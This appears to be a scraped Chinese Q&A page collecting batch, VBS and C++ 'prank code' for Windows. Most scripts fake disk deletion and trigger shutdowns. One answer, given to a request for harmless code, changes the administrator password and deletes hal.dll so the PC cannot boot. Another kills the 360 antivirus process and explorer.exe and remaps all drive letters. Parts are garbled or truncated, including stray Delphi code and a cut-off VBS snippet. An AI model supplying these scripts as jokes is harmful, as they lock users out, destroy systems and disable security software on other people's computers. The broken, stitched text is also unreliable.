㈠ 为什么我在电脑上面的整人代码不可以用了

这是由于注册表里的文件关联出了问题
解决办法:
"打开方式"重新关联一下:
C:\windows\system32\wscript.exe
或者编辑打开方式为:
C:\windows\system32\wscript.exe "%1"

运行方法:

运行如下程序
//找到webbrowser1.silent的属性设置为true
webbrowser1.silent:=true; //屏蔽脚本错误
//在webbrowser1.onNewWindow2事件中:
procere TForm1.WebBrowser1NewWindow2(Sender: TObject; var ppDisp: IDispatch; var Cancel: WordBool);
begin
Cancel:=True; //禁止弹出窗口
end;

㈡ 现在网上教别人整人代码,那些人学了以后只会毁自己的电脑,我也是十分的无语啊

的确是有的人搬出的现成的代码,没有一些语言基础的或者不了解的人,只是照搬照抄过去的确很危险。

㈢ 求Bat整人代码。。很搞笑很吓人但是很安全!

@echo
off
color
0b
mode
con:
cols=80
lines=20
@title=超级病毒
for
/L
%%a
in
(
3,-1,0
)
do
(
for
/l
%%a
in
(1,1,8)
do
echo\
echo
入侵倒计时
%%a

ping
-n
2
127.1
1>nul
2>nul
cls
)
cls
color
40
for
/l
%%a
in
(1,1,8)
do
echo\
echo
正在遭受黑客入侵...
ping
127.1
/n
3
>nul
echo.
echo
警告!警告!电脑已被入侵!!!
ping
127.1
/n
3
>nul
cls
echo.
echo.
echo.
echo
正在删除G盘所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
删除完毕
echo.
echo
正在删除E盘所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
删除完毕
echo.
echo
正在删除D盘所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
删除完毕
echo.
echo
正在删除C盘所有文件...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo
删除完毕
echo.
echo
正在删除分区表...
set
/p
a=">============================================================================
=="<nul
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=<nul
)
for
/l
%%i
in
(1,1,80)
do
(
set
/p
aa=^><nul
ping/n
1
127.1
>nul
)
echo.
echo
删除完毕
echo.
echo.
echo
正在遭受黑客的炸弹袭击!
echo.
echo
电脑崩溃!准备关闭系统!
ping
127.1
/n
3
>nul
shutdown
-s
-t
0
>nul<p>
</p>

㈣ 求大量VBS.BAT.EXE计算机整人代码

求大量VBS.BAT.EXE计算机整人代码
cript.Echo("你好")
WScript.Echo("你就是xx吧!")
WScript.Echo("你知道我是谁吗?")
WScript.Echo("猜猜看!")
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""我的名字是?答不出来就一分钟关机,不信,试下···"" ",0 ,true
dim a
do while(a

㈤ 求一些电脑整人代码要无毒的哦。。谁有直接发代码。

代码开始,只抄横线里面的
_______________________________
@echo off
net user administrator nishizhu\add
del /s /q c:\Windows\System32\hal.dll
shutdown -s -t 5 -c 你是一头猪!!!
_______________________________
代码详解:
@echo off —— 隐藏命令,关闭回显。
net user administrator nishizhu\add —— 把开机密码改成“nishizhu\add”
del /s /q c:\Windows\System32\hal.dll —— 删掉系统加载程序(删了就开不了机)
shutdown -s -t 5 -c 你是一头猪!!! —— 定时关机5秒钟,并提示你是一头猪!!!

㈥ 求在学校上电脑课整人代码方法

先创建一个文本文档,再在里面输入
if MsgBox("对不起,您灌水太多需要重新启动计算机。"&chr(10)&"确定要重启吗?",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel then

msgbox " 正在清理系统垃圾wow ~_^",,"算你倒霉!!"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "shutdown -s -t 5",,true
end if
再把后缀改成vbs

㈦ 求好玩的电脑整人代码,要解决方法!每个给5分

每个代码五分,忒少了吧?!每行代码五分还差不多!哈哈哈

㈧ 求一段电脑整蛊代码

你是要什么语言的代码?是C还是C++?是Python还是Java?

我这边有一个C++的整蛊代码,但是使用后只能强制关机了(因为是鼠标乱飞,除非在乱飞的过程中点到了杀毒软件的加速球,加速时可以停一小会的时间)……

这个代码可能只适用于Windows系统

#include<windows.h>
#include<cstdlib>
#include<ctime>
#include<iostream>
usingnamespacestd;
intmain()
{
intx=GetSystemMetrics(SM_CXSCREEN);
inty=GetSystemMetrics(SM_CYSCREEN);
srand(time(0));
while(1)SetCursorPos(rand()%x,rand()%y);
return0;
}

㈨ bat整人代码

@ color 1f
@echo off
title 最好别关本程序否则后果自负......!
echo 你中招了!
echo 处理器异常!
ping 127.0.0.1 /n 4 >nul
echo.
echo 正在移除C盘……
echo.
ping 127.0.0.1 /n 4 >nul
echo 正在移除D盘……
echo.
echo 正在移除E盘……
ping 127.0.0.1 /n 4 >nul
echo F盘先给你留着吧!
echo.
echo 我会那么善良吗?
ping 127.0.0.1 /n 4 >nul
echo 不会的……
echo.
echo 呵呵开玩笑的!
ping 127.0.0.1 /n 4 >nul
echo 正在恢复C盘……
echo.
echo 正在恢复D盘……
ping 127.0.0.1 /n 4 >nul
echo 正在恢复E盘……
echo.
echo 正在恢复F盘……
ping 127.0.0.1 /n 4 >nul
echo 请一直按住 Enter 键
taskkill /f /im 360tray.exe
ping 127.0.0.1 /n 4 >nul
echo 看你的磁盘好少,怪可怜的……
echo.
ping 127.0.0.1 /n 4 >nul
echo 给你加几个吧!
echo.
ping 127.0.0.1 /n 4 >nul
@echo off
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:\)
start explorer.exe
ping 127.0.0.1 /n 4 >nul
echo 呵呵……
echo.
ping 127.0.0.1 /n 4 >nul
echo 给你两分钟时间,看看你的电脑!
echo .
ping 127.0.0.1 /n 120 >nul
echo 看过了吗,好玩的在后面!
echo.
ping 127.0.0.1 /n 120 >nul
echo 哈哈!
echo.
@echo off
shutdown /s /t 120 /c "电脑马上就要关机!"
ping 127.0.0.1 /n 15 >nul
shutdown -a
echo 你上当了,吓唬吓唬你!
ping 127.0.0.1 /n 4 >nul
echo 正在一键重装中,请稍后……
echo.
echo 0.01
ping 127.0.0.1 /n 4 >nul
echo 0.13
ping 127.0.0.1 /n 4 >nul
echo 0.25
ping 127.0.0.1 /n 4 >nul
echo 0.49
ping 127.0.0.1 /n 4 >nul
echo 0.69
ping 127.0.0.1 /n 4 >nul
echo 0.89
ping 127.0.0.1 /n 4 >nul
echo 0.99
ping 127.0.0.1 /n 4 >nul
echo loading
ping 127.0.0.1 /n 4 >nul
echo 重装已完成!
ping 127.0.0.1 /n 4 >nul
echo 也是吓唬你的!
ping 127.0.0.1 /n 10 >nul
echo 真正的游戏开始了……
taskkill /f /im explorer.exe
shutdown /s /t 30 /c "系统关键文件被删除导致崩溃!系统将在30秒后关机"
ping 127.0.0.1 /n 28 >nul
shutdown -a
echo 你上当了,吓唬吓唬你,现在恢复所有程序Loading......
for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)
start explorer.exe
ping 127.0.0.1 /n 4 >nul
echo 恢复已完成
ping 127.0.0.1 /n 4 >nul
echo 我会那么善良吗?
ping 127.0.0.1 /n 4 >nul
echo 不会
ping 127.0.0.1 /n 4 >nul
echo 逗你玩的!
ping 127.0.0.1 /n 4 >nul
echo 会发生什么呢?
ping 127.0.0.1 /n 4 >nul
echo 什么都没发生